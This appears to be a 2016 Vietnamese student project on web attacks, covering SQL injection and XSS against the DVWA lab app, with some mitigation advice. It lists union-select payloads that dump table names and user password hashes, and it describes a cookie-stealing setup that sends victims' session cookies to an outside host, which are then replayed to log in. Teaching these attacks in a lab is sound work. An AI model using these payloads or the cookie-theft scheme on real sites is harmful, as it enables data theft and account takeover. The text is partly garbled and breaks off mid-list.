BỘ GIÁO DỤC VÀ ĐÀO TẠO
Trường Cao Đẳng Viễn Đông
--------ĐỒ ÁN MÔN HỌC
Môn Học: Bảo Mật Mạng Nâng Cao & Đồ Án
Đề Tài : Tìm hiểu các kỹ thuật tấn công ứng dụng web SQL Injection, XSS,
Upload.
GIÁO VIÊN HƯỚNG DẪN
Lê Đình Nhân
SINH VIÊN THỰC HIỆN
1.Nguyễn Thị Tường Vi
130620064
2.Nguyễn Tấn Cường
130620008
3.Nguyễn Đức Trọng
130620035
4.Hoàng Thanh Phong
TP.HỒ CHÍ MINH 2016
130420207
Mục Lục
I. SQL Injection
1.
Giới thiệu Sql
Injection………………………………………………….trang 1
2.Phương thức tấn công – giải pháp phòng
chống………………………..trang 1
2.1 Phương thức tấn công
………………………………………………….trang 4
3. Kiểm tra bị lỗi SQL
Injection…………………………………………....trang 4
3.1Thực hiện khai thác SQL
Injection……………………………………..trang 4
2.2 Giải pháp phòng chống
………………………………………………...trang 8
II. CROSS-SITE SCRIPTING (XSS) …………………………………….
….trang 9
1.
Giới thiệu Cross-Site Scripting (XSS)
…………………………………...trang 9
2. Phương thức tấn công – giải pháp phòng chống …..
…………………...trang 10
2.1
Phương thức tấn công
…………………………..................................trang 10
2.2
Giải pháp phòng
chống………………………….................................trang 11
2.2.1
Đối với người thiết kế và phát triển ứng dụng
web………....trang 12
2.2.2 Đối với người
dùng…………………………...............................trang 12
I. SQL Injection:
1.
Giới thiệu Sql Injection:
- SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi
dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng
dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về
để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp.
- SQL injection có thể cho phép những kẻ tấn công thực hiện các
thao tác delete, insert, update… trái phép trên cơ sở dữ liệu của
ứng dụng, thậm chí là server mà ứng dụng đó đang chạy.
- SQL injection là lỗ hổng thường gặp nhất của các website trên
internet. Nó là lỗi của các ứng dụng web chứ không phải vấn đề ở
cơ sở dữ liệu hay web server.
- Mục đích chính của SQL injection là truy cập vào cơ sở dữ liệu
bất hợp pháp hoặc khai thác thông tin từ các cơ sở dữ liệu đó.
- Dựa trên cách sử dụng và xử lý dữ liệu người dùng cung cấp,
SQL injection có thể được sử dụng để thực hiện các kiểu tấn công
sau:
+ Authentication Bypass: hacker có thể đăng nhập vào ứng
dụng mà không cần cung cấp username và password, thậm chí
có thể chiếm quyền quản trị.
+ Information Disclosure: người tấn công lấy các thông tin
nhạy cảm được lưu giữ trên cơ sở dữ liệu.
+ Compromised Data Integrity: thực hiện deface trang web,
chèn nội dung độc hại lên trang web, hoặc thay đổi nội dung cơ
sở dữ liệu.
+ Compromised Availability of Data: người tấn công xóa thông
tin trên cơ sở dữ liệu, xóa log, hoặc thông tin kiểm chứng trên
cơ sở dữ liệu.
+ Remote Code Execution: cho phép người tấn công làm hại hệ
thống của host.
2.Phương thức tấn công – giải pháp phòng chống:
2.1 Phương thức tấn công :
3. Kiểm tra bị lỗi SQL Injection
Bước 1: tìm kiếm các vị trí ở trên ứng dụng web có thực hiện kết
nối database, kiểm tra lỗi SQL Injection:
- Ta thử nhập 1, nhập 2 trang web trả về tên user cho mình.
- Ta thử truyền vào biến id khác so với người lập trình:
- Ta nhập “1’”:
Trang web xuất hiện lỗi: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version
for the right syntax to use near '''' at line 1
Ta xác định được nó đang bị lỗi SQL injection và là loại lỗi error
base sql.
2.1.2 Thực hiện khai thác SQL Injection:
Bước 1: Xác định số cột bằng phương thức "order by"
- Ta nhập “1 order by 1”và “1 order by 2” vào User ID nó vẫn ra
bình thường
- Ta tiếp tục nhập “1 order by 3”
Trang web xuất hiện lỗi :
Ta xác định nó chỉ có 2 cột
Bước 2: Sử dụng "union select" để xác định vị trí cột ta có thể
chèn thêm vào câu query
- "union" được sử dụng để ghép 2 câu query lại với nhau
Vd :mysql> SELECT frsttname, lasttname FROM users WHERE
usertid = 1 union select 1,2 ;
- Ta nhập ở trang web : "1 union select 1,2"
Bước 3: xác định tên của database kết nối, phiên bản của SQL
Server và tên database
- Ta nhập ở trang web " 1 union select version(),database() "
Ta biết được tên Database là “dvwa” và phiên bản sql là
“5.1.73”
Bước 4: xác định tên các Table ở trong DataBase
- Ta nhập vào trang web:
“1 union all select tabletname,2 from informationtschema.tables
where tabletschema='dvwa'”
Trang web xuất hiện lỗi do không hiểu dvwa:
- Ta sẽ dịch chữ “dvwa sang mã hex” :
- Ta nhập vào trang web:
“1 union all select tabletname,2 from informationtschema.tables
where tabletschema=0x64767761”
Ta thấy được 2 table “guestbook” và “users” và xác định nó co
table “users”
Bước 5: xác định tên các Column có trong các Table quan trọng
- Tương tự như bước trên ta đổi chữ “users sang mã hex”
- Ta nhập vào web:
“1 union all select 1,grouptconcat(columntname) from
informationtschema.columns where tabletname=0x7573657273”
Ta thấy được các cột.
Bước 6: Query username và password của Table chứa thông tin
đăng nhập
- Ta nhập vào trang web:
“1 union select user,password from dvwa.users”
Ta thu được username và password
Do pass được mã hóa dữ dạng MD5 nên ta vào trang web
https://hashkiller.co.uk/md5-decrypter.aspx.
Để dịch.
Ta lấy được pass của user.
2.2
Giải pháp phòng chống :
- Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như
NULL, CR, LF, ... trong các string nhận được từ:
+ Input do người dùng để trình
+ Các tham số từ URL
+ Các giá trị từ cookie
- Đối với các giá trị numeric, hãy chuyển nó sang integer trước
khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một
số integer.
- Thay đổi "Startup and run SQL Server" dùng mức low privilege
user trong tab SQL Server Security.
- Xóa các stored procedure mà bạn không dùng như:
master..Xptcmdshell, xptstartmail, xptsendmail,
sptmakewebtask.
II. CROSS-SITE SCRIPTING (XSS):
1. Giới thiệu Cross-Site Scripting (XSS):
- Cross-site Scripting (XSS) là lỗ hổng cho phép hacker có thể
chèn những đoạn mã client-script (thường là Javascript hoặc
HTML) vào trang web, khi người dùng vào những trên web này,
mã độc sẽ được thực thi trên máy của người dùng.
- Khác với SQL Injection tấn công vào CSDL của website, XSS tấn
công trực tiếp vào người dùng. Lợi dụng lỗi XSS, hacker có thể
lừa đảo quản trị của website, ăn cắp cookie, chiếm sesion… từ
đó có thể đăng nhập chiếm quyền điều khiển website.
- XSS có 2 dạng chính: XSS Stored, XSS Refect
+ XSS stored: Attacker ghi 1 bài viết. Trong bài viết chèn mã
độc, nội dung sẽ được ghi vào trong database server.
+ XSS refected: attacker chèn mã độc vào URL và gửi đường
link có chứa scripts mã độc cho người dùng khác.
2. Phương thức tấn công – giải pháp phòng chống :
2.1 Phương thức tấn công :
Bước 1: Tạo host danh cap cookie
- Tạo 2 fle cc.php va log.txt (log.txt không có nội dung)
Nội dung fle cc.php :
chú thích code :
Bước 2 Ta up fle cc.php và logs.txt lên host
- Ta có thể tạo host free trên trang www.000webhost.com, ở
đây mình đăng ký sẵn host danhcapthongtin.comli.com.
lưu ý : logs.txt phải chmod 777
Bước 3 : chèn mã
độc vào trang web
để đánh cắp cookie
- Vậy là ta đã chèn mã độc thành công giờ ta chỉ việc chờ
user khác đăng nhập vào ta sẽ lấy được cookie của user
đó:
Đoạn code ta nhận được :
PHPSESSID=5gf7th6dsugfnb38gpqr263db0; security=low
Giờ ta thử đăng nhập bằng cookie trên. Ta sử dụng tiện
ích cookie manager + trên trình duyệt frefox để đặng
nhập
Vậy là ta đã đăng nhập thành công bằng cookie đánh cắp
được
2.2 Giải pháp phòng chống:
2.2.1 Đối với người thiết kế và phát triển ứng dụng
web:
- Chỉ chấp nhận những dữ liệu hợp lệ
- Từ chối nhận các dữ liệu hỏng
- Liên tục kiểm tra và lọc dữ liệu
- Tạo ra danh sách những thẻ HTML được phép sử dụng,
xóa bỏ các thẻ
Chi phí hỗ trợ lưu trữ và tải về cho tài liệu này là đ. Bạn có muốn hỗ trợ không?